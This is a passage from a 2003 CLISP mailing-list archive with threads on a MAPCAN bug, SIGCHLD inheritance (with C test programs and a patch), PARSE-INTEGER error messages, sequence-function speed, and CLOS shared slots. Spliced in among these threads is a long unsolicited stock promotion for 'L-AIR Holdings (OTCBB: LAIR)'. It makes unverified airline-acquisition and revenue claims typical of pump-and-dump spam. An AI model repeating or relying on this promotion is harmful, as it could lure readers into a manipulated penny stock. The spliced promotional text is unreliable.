>the two obvious alternatives:
[...]
>are about half as fast (take twice as much time!) as your version, but
>do almost no consing.
I thought I also posted a READ-BYTE-SEQUENCE loop, not using POSITION, with results in the order of 2-3 seconds?

>(still faster that ACL 6.2!)
Good news, but still not 1/10 the time of the perl program I'm targetting. If I only get 1/2 or 1/3 the perl speed, it's not impressive.

Thanks and regards,
	Jorg Hohle.


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Using Allegro Common Lisp, CMUCL/SBCL, and Lispworks, the expression

     (mapcan #'identity (list 1))

evaluates to 1.  My copy of CLISP produces NIL -- see transcript below.  The
CLHS seems to indicate that 1 is the correct result.

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On Fri, 7 Feb 2003, Robert E. Brown wrote:

> Date: Fri, 07 Feb 2003 09:32:02 -0800
> From: Robert E. Brown <bbrown@speakeasy.net>
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> Subject: [clisp-list] mapcan bug
> 
> 
> Using Allegro Common Lisp, CMUCL/SBCL, and Lispworks, the expression
> 
>      (mapcan #'identity (list 1))
> 
> evaluates to 1.  My copy of CLISP produces NIL -- see transcript below.  The
>
> CLHS seems to indicate that 1 is the correct result.

Indeed, CLHS says that mapcan and mapcon work as if NCONC were applied
to the results of mapcar or maplist.

So mapcan, in the abstract, obeys this equivalence:

  (defun mapcan (fun &rest lists)
    (apply #'nconc (apply #'mapcar fun lists)))

if we ignore that there are practical limitations on the maximum
argument list size which make this a bad actual implementation.

So in your case, (mapcar #'identity (list 1)) would return (1), and so
you have (apply #'nconc (1)) or (nconc 1), which produces 1.

Not terribly useful, but you never know what might break if it doesn't
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MAPCON suffers from the same bug.  The expression 

 (mapcon (constantly 1) (list 2))

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> * In message <E18hCM6-0007tK-00@sc8-sf-list1.sourceforge.net>
> * On the subject of "[clisp-list] mapcan bug"
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> Using Allegro Common Lisp, CMUCL/SBCL, and Lispworks, the expression
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>      (mapcan #'identity (list 1))
> 
> evaluates to 1.  My copy of CLISP produces NIL -- see transcript below.  The
> CLHS seems to indicate that 1 is the correct result.

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low-cost direct international routes and providing high
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L-AIR Holdings (OTC BB: LAIR) is destined to become the
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that, can operate safely and securely within this 
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succeed particularly well in the short term. Long-term
we feel that the OTCBB: LAIR business model combined
with implementation by its impressive management team
and in-place financiers will bring much higher valuations
to this stock.

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satisfaction is at the core of its business model, just
like JetBlue (NASDAQ: JBLU), Southwest Air (NYSE: LUV),
and easyJet.com, all of whom are very successful within
their respective markets and industry leaders. This
international carrier is on the path to success. Fortune
Magazine recently stated that Southwest Airlines is the
all-time #1 successful investment. We feel L-Air Holdings
is on a similar path.

As recently reported in SPEEDNEWS (speednews.com),
the newsletter of record for the aviation industry,
L-Air Holdings is in the process of acquiring a European 
airline, Belgium Universal Airways, in order to receive
an AOC (air operations certificate). Within one-month
of finalizing the acquisition currently being negotiated
and receipt of its AOC, expected to be complete by March 1,
2003, LAIR will operate two Airbus A340-300 aircraft over
three high-traffic routes. Contracts for these routes are
in place with tour operators and other agencies providing
an initial and immediate revenue stream of approximately
US$400k weekly, or annualized revenues in excess of $20
million from existing contracts.

Based in Brussels, Belgian Universal Airways, through 
direct ownership by OTCBB: LAIR, is being transformed 
into a low-priced passenger airline providing exceptional
customer service, much like its USA based counterpart,
JetBlue (NASDAQ: JBLU). The Company plans an aggressive
expansion campaign as led by its capable ex-Sabena staff
and management with its financier and 51% owner Universal
Capital Partners (UCP). UCP has already spent over US$5
million and committed an additional US$10 million in cash
to the Company's initial operating budget. UCP has also
signed leases with major aircraft manufacturers to provide
LAIR with at least 5-Airbus 340-300 aircraft by year-end.
UCP is a majority shareholder of LAIR.

LAIR expects to take delivery of the first two freshly 
painted jets in April 2003 with the following routes to 
be serviced:

Route 1) Brussels -to- Puntancana (Caribbean - one of
the heaviest European tourist destinations currently)
	
Route 2) Yervena -to- LAX (Contracts with Armenian agency
to provide this much needed service to be announced upon
successful completion of acquisition)
	
Route 3) Toronto -to- Montreal -to- Delhi, India (No
competition on this highly lucrative and much needed
route as of yet)

Three additional Airbus 340's are to be acquired through
leases in the Fall of 2003. The carrier proposes to launch
new operations from its Brussels hub in April 2003.

Ask anyone in the airline industry what is the most
promising source of revenue growth with the current 
political situation and insurance cost nightmare for
U.S. and other majors and many will agree that small
carriers with high-traffic routes and good low
maintenance cost aircraft are the key. Focusing on
profitable long haul routes with low-cost maintenance
jets, while providing exceptional customer satisfaction
OTCBB: LAIR is one of these carriers. The Company's
commitment to cost efficiencies and customer satisfaction
is at the core of its business model, just like JetBlue
(NASDAQ: JBLU), Southwest Air (NYSE: LUV), and easyJet.com
all of whom are very successful within their respective
markets and industry leaders. This international carrier
is on the path to success.

About the Co. - Belgian Universal Airways, OTCBB: LAIR
Europe needs a safe and decent, well run Airline, managed
by highly qualified and experienced staff, that will
provide good service at a fair price for everyone. Since
the closure of Sabena in 2001 (the Belgian National
Airline) due to Swiss Air's bankruptcy (Swiss Air had
recently bought Sabena), there has been a need to revive
the once thriving wide International Flight Network based
in Brussels. In addition, since the September 11 tragedy,
carriers that are not terrorist targets are increasingly
being called upon to pick up these routes.

Through an acquisition of 49% of Belgian Universal Airways
by OTCBB: LAIR, UCP and Sabena's Captain Raymond Nicolai
are now preparing to meet this need. Universal Capital
Partners (UCP) is currently negotiating with the airline
to finalize an acquisition that will give UCP 51%
ownership, while 49% will reside with OTCBB: LAIR.

UCP is the single largest shareholder of OTCBB: LAIR 
currently. This structure is necessary to meet ownership
requirements mandating that 51% of a European air carrier
be European owned.

Captain Raymond Nicolai has dedicated his life to Aviation
since 1968. He is an ex-Belgian Air Force fighter pilot
and is an instructor on many types of Aircraft including
the company's chosen A340. Captain Nicolai is bringing
many of the former Sabena management and staff that will
comprise the bulk of the company's 100 plus in number
workforce. These well trained ex-Sabena staff members
are dedicated to the Company's (OTCBB: LAIR) mission of
creating a new Belgian National Airline that represents
excellence in all aspects, including on-time flights,
the highest level of customer service, cost efficiencies
in operations and maximization of profitability for its 
investors.

With the addition of many new international direct routes
to markets including Asia, Middle East, Africa, USA,
Canada, Caribbean and Europe the Company has a better
than average chance of achieving success due to the
lack of any competition servicing these routes currently.
Belgian Universal will operate a fleet of 5 Airbus
A340-300 aircraft capable of seating 220 Economy seats,
30 Business class full comfort pitch seat, and 10 First
class sleeperettes. All Belgian Universal's aircraft
feature roomy all-leather seats each equipped with
satellite phones and full individual multi-media systems
capable of delivering many different forms of
entertainment, including: a large selection of movies /
videos, music (MP3 and other format), computer/video games,
and the soon to be offered "on-board" Internet services.
All available at every seat along with the many high
quality amenities not found on existing air carriers
competing with the Company (OTCBB: LAIR).

With Belgian Universal, all seats are assigned, a good
percentage of travel is ticketless, all fares are one-way,
and a Saturday night stay is never required. 

For more information, schedules and fares, please visit
Website at lair.com. Press releases, can be found on 
the website at lair.com.  

Airline industry experts agree that the most promising
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high-traffic routes and low-maintenance cost aircraft.
Focusing on profitable long haul routes with low-cost 
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like JetBlue (NASDAQ: JBLU), Southwest Air (NYSE: LUV), 
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The problem with this is that normally, when you run programs from the
shell, they get SIG_DFL, which has different behavior from SIG_IGN.
The exec() system call causes SIG_IGN and SIG_DFL settings to be
inherited by the new process image. 

On Linux, signal(SIGCHLD, SIG_IGN) seems to cause the waitpid()
semantics described by the Single UNIX Specification. If the processes
terminate before the waitpid() call is reached, they are reaped
internally without becoming zombies. Then the waitpid() returns -1 with
ECHILD. If the waitpid is reached while the child is still running,
then waitpid() waits normally and returns the pid.

This is a problem, because lots of programs---CVS being one
example---are not written to defend against this obscure behavior and so
the -1/ECHILD takes them by surprise; they just expect SIGCHLD to be
SIG_DFL on startup. 

Sample run:

[4]> (defvar *x* (ext::make-pipe-input-stream "./show-sig"))
*X*
[5]> (read-line *x*)
"SIGCHLD == SIG_IGN"

The ext::run-program function is not affected (on the system I'm
using), because it is based on the system() function which indirects
through the shell. The shell is probably written defensively against
inheriting bad signal settings, so everything is cool.

/* showsig source code */
#include <signal.h>
#include <stdio.h>

int main(void)
{
    void (*existing)(int) = signal(SIGCHLD, SIG_DFL);

    if (existing == SIG_DFL)
	puts("SIGCHLD == SIG_DFL");
    else if (existing == SIG_IGN)
	puts("SIGCHLD == SIG_IGN");
    else
	puts("SIGCHLD == <handled>");
   
    return 0;
}

Here is a program that on Linux 2.2.22 shows the unreliable behavior.
If you remove the sleep() call, it works every time I try it: waitpid
returns the pid. If you put back the sleep() call, you get -1 return,
with errno being 10 (ECHILD) every time. Then if you set SIGCHLD to
SIG_DFL, that goes away, and waitpid returns positive again.

#include <signal.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>

int main(void)
{
   pid_t pid = fork();

   /* Empty bowels before fork() to prevent double vision. */
   fflush(NULL); 

   signal(SIGCHLD, SIG_IGN);

   if (pid == 0) {
      char *argv[2] = { "show-sig", 0 };
      execvp("./show-sig", argv);
      printf("exec failed\n");
      exit(0);
   } else if (pid > 0) {
      int status;
      int r;
      sleep(1);
      r = waitpid(pid, &status, 0);
      printf("waitpid returned %d, errno == %d\n", r, errno);
   } else {
      puts("fork failed");    
   }

   return 0;
}



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> * In message <Pine.LNX.4.44.0302121605240.16528-100000@ashi.FootPrints.net>
> * On the subject of "[clisp-list] Re: Issue: SIG_IGN setting for SIGCHLD inherited by children of CLISP."
> * Sent on Wed, 12 Feb 2003 16:24:59 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> The problem with this is that normally, when you run programs from the
> shell, they get SIG_DFL, which has different behavior from SIG_IGN.
> The exec() system call causes SIG_IGN and SIG_DFL settings to be
> inherited by the new process image. 
> 
> On Linux, signal(SIGCHLD, SIG_IGN) seems to cause the waitpid()
> semantics described by the Single UNIX Specification. If the processes
> terminate before the waitpid() call is reached, they are reaped
> internally without becoming zombies. Then the waitpid() returns -1 with
> ECHILD. If the waitpid is reached while the child is still running,
> then waitpid() waits normally and returns the pid.
> 
> This is a problem, because lots of programs---CVS being one
> example---are not written to defend against this obscure behavior and so
> the -1/ECHILD takes them by surprise; they just expect SIGCHLD to be
> SIG_DFL on startup. 

note that EXECUTE does not suffer from this problem, only pipe
functions do.

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--- stream.d.~1.339.~	2003-01-29 14:36:06.000000000 -0500
+++ stream.d	2003-02-12 23:08:29.000000000 -0500
@@ -13467,9 +13473,11 @@
     var DYNAMIC_ARRAY(command_data,char,command_length);
     begin_system_call();
     memcpy(command_data,command,command_length);
+    begin_want_sigcld();
     # build pipe:
     if (!( pipe(handles) ==0)) {
-      FREE_DYNAMIC_ARRAY(command_data); OS_error();
+      FREE_DYNAMIC_ARRAY(command_data);
+      end_want_sigcld(); OS_error();
     }
     # Everything, that is stuffed in handles[1], resurfaces at handles[0]
     # again. We will utilize this as follows:
@@ -13495,6 +13503,7 @@
       _exit(-1); # if this fails, finish child-process
     }
     # This piece of code is again executed by the caller:
+    end_want_sigcld();
     if (child==-1)
       # Something failed, either on vfork or on execl.
       # In both cases errno was set.
@@ -13678,8 +13687,10 @@
     var DYNAMIC_ARRAY(command_data,char,command_length);
     begin_system_call();
     memcpy(command_data,command,command_length);
+    begin_want_sigcld();
     if (!( pipe(handles) ==0)) {
-      FREE_DYNAMIC_ARRAY(command_data); OS_error();
+      FREE_DYNAMIC_ARRAY(command_data);
+      end_want_sigcld(); OS_error();
     }
     # Everything, that is stuffed in handles[1], resurfaces at handles[0]
     # again. We will utilize this as follows:
@@ -13705,6 +13716,7 @@
       _exit(-1); # if this fails, finish child-process
     }
     # This piece of code is again executed by the caller:
+    end_want_sigcld();
     if (child==-1)
       # Something failed, either on vfork or on execl.
       # In both cases errno was set.


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> * In message <Pine.LNX.4.44.0302121605240.16528-100000@ashi.FootPrints.net>
> * On the subject of "[clisp-list] Re: Issue: SIG_IGN setting for SIGCHLD inherited by children of CLISP."
> * Sent on Wed, 12 Feb 2003 16:24:59 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> The problem with this is that normally, when you run programs from the
> shell, they get SIG_DFL, which has different behavior from SIG_IGN.
> The exec() system call causes SIG_IGN and SIG_DFL settings to be
> inherited by the new process image. 
> 
> On Linux, signal(SIGCHLD, SIG_IGN) seems to cause the waitpid()
> semantics described by the Single UNIX Specification. If the processes
> terminate before the waitpid() call is reached, they are reaped
> internally without becoming zombies. Then the waitpid() returns -1 with
> ECHILD. If the waitpid is reached while the child is still running,
> then waitpid() waits normally and returns the pid.
> 
> This is a problem, because lots of programs---CVS being one
> example---are not written to defend against this obscure behavior and so
> the -1/ECHILD takes them by surprise; they just expect SIGCHLD to be
> SIG_DFL on startup. 

note that EXECUTE does not suffer from this problem, only pipe
functions do.
please try the appended patch.


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--- stream.d.~1.339.~	2003-01-29 14:36:06.000000000 -0500
+++ stream.d	2003-02-12 23:11:29.000000000 -0500
@@ -13467,9 +13473,11 @@
     var DYNAMIC_ARRAY(command_data,char,command_length);
     begin_system_call();
     memcpy(command_data,command,command_length);
+    begin_want_sigcld();
     # build pipe:
     if (!( pipe(handles) ==0)) {
-      FREE_DYNAMIC_ARRAY(command_data); OS_error();
+      FREE_DYNAMIC_ARRAY(command_data);
+      end_want_sigcld(); OS_error();
     }
     # Everything, that is stuffed in handles[1], resurfaces at handles[0]
     # again. We will utilize this as follows:
@@ -13495,6 +13503,7 @@
       _exit(-1); # if this fails, finish child-process
     }
     # This piece of code is again executed by the caller:
+    end_want_sigcld();
     if (child==-1)
       # Something failed, either on vfork or on execl.
       # In both cases errno was set.
@@ -13678,8 +13687,10 @@
     var DYNAMIC_ARRAY(command_data,char,command_length);
     begin_system_call();
     memcpy(command_data,command,command_length);
+    begin_want_sigcld();
     if (!( pipe(handles) ==0)) {
-      FREE_DYNAMIC_ARRAY(command_data); OS_error();
+      FREE_DYNAMIC_ARRAY(command_data);
+      end_want_sigcld(); OS_error();
     }
     # Everything, that is stuffed in handles[1], resurfaces at handles[0]
     # again. We will utilize this as follows:
@@ -13705,6 +13716,7 @@
       _exit(-1); # if this fails, finish child-process
     }
     # This piece of code is again executed by the caller:
+    end_want_sigcld();
     if (child==-1)
       # Something failed, either on vfork or on execl.
       # In both cases errno was set.
@@ -13830,11 +13842,14 @@
     var DYNAMIC_ARRAY(command_data,char,command_length);
     begin_system_call();
     memcpy(command_data,command,command_length);
+    begin_want_sigcld();
     # build Pipes:
     if (!( pipe(in_handles) ==0)) {
-      FREE_DYNAMIC_ARRAY(command_data); OS_error();
+      FREE_DYNAMIC_ARRAY(command_data);
+      end_want_sigcld(); OS_error();
     }
     if (!( pipe(out_handles) ==0))
+      end_want_sigcld();
       OS_error_saving_errno({
         CLOSE(in_handles[1]); CLOSE(in_handles[0]);
         FREE_DYNAMIC_ARRAY(command_data);
@@ -13873,6 +13888,7 @@
       _exit(-1); # if this fails, finish child-process
     }
     # This piece of code is again executed by the caller:
+    end_want_sigcld();
     if (child==-1)
       # Something failed, either on vfork or on execl.
       # In both cases errno was set.


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This is a request for enhancement that I prefer to submit to the list =
for discussion.

parse-integer error messages do not combine nicely with using :start
and :end, witness the following error message:

(parse-integer line :start 5 :end 7)
*** - PARSE-INTEGER: string =
"6;28Jun2002;23:59:15;10.3.1.5;log;accept;;zorg;inbound;icmp;10.4.1.3;19=
2.68.1.5;1434;3813;404;95;;;;;;;;;;;;;;;;;;;;;;;;;;;firewall;;;;" does =
not have integer syntax

The whole string argument is shown, and we don't know where exactly
(as delimited by START and END) PARSE-INTEGER was looking for a
match.

Suggestion: Using (SUBSEQ string start end) instead of the whole
original string would be useful when *signaling* the error.

*** - PARSE-INTEGER: string "un" does not have integer syntax
would be much more precise and correct.

This can become especially important as I intend to make heavy use of
:start and :end keywords on a 256KB large string. Imagine this huge
string output as part of the error message and stored into the
application's errorlog each time parse-integer complains!
I'd currently obtain a logfile of size (* 2486 (+ 50 (* 256 1024))), =
half a gigabyte for 2486 occurrences...

Cost to implementors: tiny
Run-time cost in case of no error: 0
Run-time cose in case of error: 1 additional SUBSEQ

What do you think?
	J=F6rg H=F6hle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE020EC7F0@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] RFE: parse-integer error message"
> * Sent on Thu, 13 Feb 2003 13:18:30 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> parse-integer error messages do not combine nicely with using :start
> and :end, witness the following error message:
> 
> (parse-integer line :start 5 :end 7)
> *** - PARSE-INTEGER: string "6;28Jun2002;23:59:15;10.3.1.5;log;accept;;zorg;inbound;icmp;10.4.1.3;192.68.1.5;1434;3813;404;95;;;;;;;;;;;;;;;;;;;;;;;;;;;firewall;;;;" does not have integer syntax
> 
> The whole string argument is shown, and we don't know where exactly
> (as delimited by START and END) PARSE-INTEGER was looking for a
> match.
> 
> Suggestion: Using (SUBSEQ string start end) instead of the whole
> original string would be useful when *signaling* the error.
> 
> *** - PARSE-INTEGER: string "un" does not have integer syntax
> would be much more precise and correct.

but it will leave you wondering where you pass this string to
PARSE-INTEGER.

> This can become especially important as I intend to make heavy use of
> :start and :end keywords on a 256KB large string. Imagine this huge
> string output as part of the error message and stored into the
> application's errorlog each time parse-integer complains!
> I'd currently obtain a logfile of size (* 2486 (+ 50 (* 256 1024))), half a gigabyte for 2486 occurrences...
> 
> Cost to implementors: tiny
> Run-time cost in case of no error: 0
> Run-time cose in case of error: 1 additional SUBSEQ

what about

substring "un" (125:127) does not have integer syntax

(we can also add a slot to PARSE-ERROR which will contain the whole string)

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Hi,

I'm aware that the pretty printer implementation in CLISP, according
to the implementation notes isn't expected to be perfect...  I hope
this bug report (for clisp-2.30) helps to track some things down:

[3]> (format t "~&~@<; ~@;loading system definition from ~A into ~A.~@:>~%" 'foo 'bar)

*** - ; FUNCALL: the function ; NIL is undefined
; 1. Break ; [; 4]> 

So, two things look problematic here.  Firstly, I believe that the
format string is valid for the arguments, and so I don't expect the
crash, but rather that

; loading system definition from FOO into BAR.

be printed.

Secondly, the per-line prefix of "; " (indicated by the use of ~@; to
finish the first section of ~< ~@:>) seems to be interpreted as more
like a per-word prefix, as shown by the Break prompt.

Interestingly, FORMATTER doesn't seem to have quite the same problem:

[6]> (format t (formatter "~&~@<; ~@;loading system definition from ~A into ~A.~:@>~%") 'foo 'bar)  
; loading system definition from FOO into BAR.

though when given a longer string it doesn't seem to wrap correctly
(the "~:@>" asks for a conditional newline to be inserted at every
whitespace in the format string).

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Hi,

Sam wrote:
>> *** - PARSE-INTEGER: string "un" does not have integer syntax
>> would be much more precise and correct.

>but it will leave you wondering where you pass this string to
>PARSE-INTEGER.
There's always backtrace-1 while in the debugger.

>what about
>substring "un" (125:127) does not have integer syntax
Hmm, the (x:y) notation is not standard in Common Lisp at all
(nor [125:127], nor [125,127[, nor anything I can now think of), so
people may start wondering what this is supposed to mean.
A quote into the Holy Bible?

Indicating "Substring" is enough (if not too much already) IMHO.
Or
"un" from (SUBSEQ _/?/X/foo/STRING 125 127) does not have integer syntax.
But then people may start wondering where that SUBSEQ comes from, because it's not in their code.

>(we can also add a slot to PARSE-ERROR which will contain the 
>whole string)
No problem.

I don't really care about the slots -- I never used any of the condition objects except maybe for type-error [*], but you're welcome to provide a sound set of slots, consistent in its accuracy with the rest of CLISP.

What I care about is precise error messages. So a precise (and concise) message is fine with me.

[*] In one of our systems, we had >100 conditions defined. It turned out we never used that mass, in the sense that no error-handler was ever installed for >95% of them. So defining them and having them raised at appropriate places was a significant wasted effort, in retrospect.
That's my experience. It made the source code raising the error more concise, though. Especially all error text messages were moved away. This, however, rose questions about coherence: "is the message text in file foo still in sync with the code in bar?"

The few exceptions that we caught were of the file-not-found kind, where we wanted a restart handler.
That's why I don't, for my part, put much value into many error classes and their slots. Yet I use error-handlers and restarts.

Regards,
	Jorg Hohle.


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Sam Steingold:
> but it will leave you wondering where you pass this string to
> PARSE-INTEGER.

That's a good point.

> > This can become especially important as I intend to make heavy use of
> > :start and :end keywords on a 256KB large string. Imagine this huge
> > string output as part of the error message and stored into the
> > application's errorlog each time parse-integer complains!
> > I'd currently obtain a logfile of size (* 2486 (+ 50 (* 256 1024))),
half a gigabyte for 2486 occurrences...
> >
> > Cost to implementors: tiny
> > Run-time cost in case of no error: 0
> > Run-time cose in case of error: 1 additional SUBSEQ
>
> what about
>
> substring "un" (125:127) does not have integer syntax
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Hi. I=B9ve been working with Clisp 2.27 in MacOs 10.1 and works fine. I've
made the upgrade to MacOs 10.2 and clisp but it doesn't works . I tried wit=
h
version 2.28 and 2.29 but it doesn't works.  Does anybody works with Clisp
in Jaguar? This is a transcription of my Shell.
***********************************
Je4:~/lisp/clisp-2.29] lupprian% make
cc -O  base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a
base/libiconv.a base/libreadline.a -ldl -o base/lisp.run
ld: can't locate file for: -ldl
make: *** [base/lisp.run] Error 1
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What happened?.
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0.1 and works fine. I've made the upgrade to MacOs 10.2 and clisp but it doe=
sn't works . I tried with version 2.28 and 2.29 but it doesn't works. &nbsp;=
Does anybody works with Clisp in Jaguar? This is a transcription of my Shell=
. <BR>
***********************************<BR>
Je4:~/lisp/clisp-2.29] lupprian% make<BR>
cc -O &nbsp;base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a bas=
e/libiconv.a base/libreadline.a -ldl -o base/lisp.run<BR>
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Carlos Lupprian writes:
 > Hi. I=B9ve been working with Clisp 2.27 in MacOs 10.1 and works fine=
. I've
 > made the upgrade to MacOs 10.2 and clisp but it doesn't works . I tr=
ied with
 > version 2.28 and 2.29 but it doesn't works.  Does anybody works with=
 Clisp
 > in Jaguar? This is a transcription of my Shell.

My installation (2.27) works fine -- try compiling from the source (I
don't know if it makes a difference, but that's what I did).

--=20
           /|_     .-----------------------.                       =20
         ,'  .\  / | No to Imperialist war |                       =20
     ,--'    _,'   | Wage class war!       |                       =20
    /       /      `-----------------------'                       =20
   (   -.  |                              =20
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Hi,

Here's some data to support the claim that POSITION (and by deduction COUNT and all the other sequence functions) are dead slow.

Using a 50MB log file, causing 474832 calls to POSITION (code below), I obtain
Real time: 34.906 sec.
Run time: 34.53125 sec.
Space: 531_720 Bytes
GC: 2, GC time: 0.015625 sec.

Using my specialised VECTOR-POSITION, I obtain
Real time: 5.063 sec.
Run time: 4.6875 sec.
Space: 531_720 Bytes
GC: 2, GC time: 0.0 sec.

This difference is far from negligible in my current application.

The believed reason that the sequence functions are slow is that they are overly generic. Moving from one element to the next in the sequence causes plenty of calls. There's nothing like a tight loop.


I advocate that CLISP should recognize optimizable cases and handle them internally. The time to test internally at run-time for optimizable cases is negligible compared to the full-blown sequence and stepping overhead, especially for a byte-code VM like CLISP.

Optimizable cases are, at a glance
o vector instead sequence (possibly only string or unsigned-byte 8/16/32)
o and test EQ or EQL (or maybe CHAR= and = with corresponding array element-type)
o with KEY #'IDENTITY
o :from-end is optimizable as well (means almost duplicate code).


Specifically, I advocate that CLISP handles these cases transparently and does not expose something like EXT:VECTOR-POSITION. CLISP should encourage portable code and thus use of CL:POSITION etc., with guarantees that it will be fast where it can be. As a result, non CLISP-specific code will be fast as well, without the need to go look for places where VECTOR-POSITION may be applicable and add #+CLISP hacks.

This said, I'll post my preliminary hack of vector-position (so far really only string-position) to the patches section of sourceforge.
http://sourceforge.net/tracker/index.php?func=detail&aid=688545&group_id=1355&atid=301355

(defun test1 (&optional (logfile "50MB.log.txt"))
 (space
  (with-open-file (stream logfile :direction :input
			  #+CLISP :buffered #+CLISP T
			  :element-type 'character)
    (let ((vec (make-array (ash 2 17) :element-type 'character)))
      (loop
       for max = (ext:read-char-sequence vec stream)
       for block-count from 0
       while (= max (length vec))
       ;TODO handle lines at buffer boundary and rest portion
       do (loop
	   for start = 0 then (1+ stop)
	   for stop = (position #\newline vec :start start :end max)
	   while stop))))))
test2 is test1 with position replaced by
 (EXT::VECTOR-POSITION #\newline vec start max)

Maybe there are more restriction on optimizable cases: what does the standard say on fill-pointers w.r.t. changes while within POSITION (e.g. the KEY or TEST functions may change the fill-pointer) or is that too hairy?

Regards,
	Jorg Hohle.
And the next thing to be handled internally may well be (CONCATENATE 'STRING ...all-strings) (dog slow) -> EXT:STRING-CONCAT (fast). Timings I did many years ago showed a comparable slowdown. I don't know if anybody ever changed this since I noticed this.


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Hi,

I'm seeking help with CLOS. I want to define a slot that all instances =
of a class will share. This sounds like typical :allocation :class. But =
read on.

One of these special slots is supposed to contain a function (closure) =
that I want compiled at file-compilation time. Another will be set at =
run-time. Another will contain the lambda expression to compile at =
run-time and ought to be defined at file-compilation time as well.

I thought about the following macro to declare the code:
(define-analyse-line ((analyse durchsatz))
  (incf (gethash key (analyse-top-table analyse)))
  (princ #\; (analyse-outstream analyse)))

which would macroexpand to:

(let ((*columns-used* '()))
 (setf (analyse-line-function (find-class 'durchsatz))
  (lambda (analyse .line. .start-positions. .stop-positions.)
    (macrolet ((log-line-universal-time () ;TODO? flet
		 (or (analyse-universal-time analyse) #))
	       (log-line-sql-time ()
		 (format nil #)))
      body...))
  (setf (analyse-used-columns #) *columns-used*)))

and here's something which cannot work
(defmacro define-analyse-line ((var class) &body body)
  (let* ((*precompile* nil)
	  (*columns-used* '()))
    (setf (analyse-line-function (find-class ',class))
       (lambda (,var .line. .start-positions. .stop-positions.)
	   ,@body))
    (setf (analyse-line-lambda (find-class ',class)) ',body)
    (setf (analyse-used-columns (find-class ',class)) *columns-used*)))

The reason it cannot work is that analyse-line-lambda and =
-line-function are not typically slots of (find-class 'analyse), but =
rather shared slots of each instance.

Need I got MOP here or is that overshoot? Am I misguided?

Maybe all I need is a wrapper around defclass and some initform =
instead?
This could become weird as well, since the closure body may reference =
slots to be defined in this same DEFCLASS form (e.g. analyse-top-table =
above).

Thanks for your help,
	J=F6rg H=F6hle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE0234E056@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] CLOS: class-wide slots defined at compile-time?"
> * Sent on Wed, 19 Feb 2003 14:09:06 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> I'm seeking help with CLOS. I want to define a slot that all instances
> of a class will share. This sounds like typical :allocation
> :class.

IIUC, you need what MOP calls a "class prototype".
I.e.,
(defclass foo ()
  (bar :allocation :class))

(setf (slot-value (class-prototype (find-class 'foo)) 'bar)
      (lambda () ...))

right?

(defun shared-slot (class slot)
  (let ((slot-location (gethash slot (clos::class-slot-location-table class))))
    (cond ((null slot-location) (error "no such slot"))
          ((atom slot-location) (error "slot is local"))
          (t (svref (clos::class-shared-slots (car slot-location))
                    (cdr slot-location))))))

(defun (setf shared-slot) (value class slot)
  (let ((slot-location (gethash slot (clos::class-slot-location-table class))))
    (cond ((null slot-location) (error "no such slot"))
          ((atom slot-location) (error "slot is local"))
          (t (setf (svref (clos::class-shared-slots (car slot-location))
                          (cdr slot-location))
                   value)))))

(setf (shared-slot (find-class 'foo) 'bar) (lambda () ...))

Does this solve your problem?

Should we export CLOS:SHARED-SLOT, CLOS:SHARED-SLOT-BOUNDP and
CLOS:SHARED-SLOT-MAKUNBOUND?
An alternative would be to add a class prototype (which would waste an
instance for each class...)

I don't thing we may extend SLOT-VALUE and friends like this:
(SLOT-VALUE symbol slot) == (SHARED-SLOT (find-class symbol) slot)

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Hi,

Sam wrote:

>IIUC, you need what MOP calls a "class prototype".
>I.e.,
>(defclass foo ()
>  (bar :allocation :class))
>
>(setf (slot-value (class-prototype (find-class 'foo)) 'bar)
>      (lambda () ...))
>right?
Looks like this would do the job. I'll have to take the AMOP book out of the library again.

>(defun shared-slot (class slot)
>    (cond ((null slot-location) (error "no such slot"))
>(setf (shared-slot (find-class 'foo) 'bar) (lambda () ...))

>Does this solve your problem?
This would so, as far as CLOS is concerned. But I ran into another, non CLOS, but compile-time problem (see other mail).

>Should we export CLOS:SHARED-SLOT, CLOS:SHARED-SLOT-BOUNDP and
>CLOS:SHARED-SLOT-MAKUNBOUND?
Why not? Once you wrote them...
Hmm, better error messages are needed, which leads to the following thought.

>An alternative would be to add a class prototype (which would waste an
>instance for each class...)

The class-prototype hack(?) may be something
1) which integrates better with the rest of CLOS. E.g. I guess one can raise a slot-missing error (which needs an instance as the second argument). How to raise slot-missing from within the proposed shared-slot function?
2) which seems to be somewhat standard in CLOS (I guess from your wording), whereas SHARED-SLOT would be specific to CLISP.


>I don't thing we may extend SLOT-VALUE and friends like this:
>(SLOT-VALUE symbol slot) == (SHARED-SLOT (find-class symbol) slot)
SLOT-VALUE is a function, so I guess there's not much to be changed there or general performance will suffer. But I don't understand this ==.


Maybe a separate weak hash-table trick may allow to implement a singleton class-prototype for all classes for which one was requested without spending an extra slot on each class?
(defvar clos:*class-prototypes* (make-hash-table :Test #'eq :weak :keys))
; weak so as not to grow unnecessarily
(defun class-prototype (class)
  (check-type class 'standard-class)
  (or (gethash class *class-prototypes* nil)
      (setf (gethash class *class-prototypes)
            (make-weird-instance-full-of #<unbound> slots except for the shared ones or whatever-is-needed))))
Or maybe that class-prototype should not be an instance of its class (but of some other one). Would that be against programmer's expectations??

Regards,
	Jorg Hohle.


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Hi,

I came up with the following, non-working piece of code:

I have a set of macros (not shown) whose macroexpansion adds to =
*columns-used*. The idea is that during evaluation or compilation, I =
gather information about which columns from a database are actually =
accessed.
(defvar *columns-used* '())

Then I want to store this value of *columns-used* into some place.

(defvar *analyse-funktionen* (make-hash-table :test #'eq))
(defmacro define-ananalyse (((var class)) &body body)
  (check-type var symbol)
  ;;TODO does not work in compiled mode: need *columns-used* from =
compiler environment
  (let ((lambda-form `(lambda (,var .line. .start-positions. =
.stop-positions.) ,@body)))
    `(eval-when (load compile eval)
      (let ((*precompile* nil)
	    (*columns-used* '()))
	(format *trace-output* "Columns for ~S so far: ~S~%" ',class =
*columns-used*)
        (setf (gethash ',class *analyse-funktionen*)
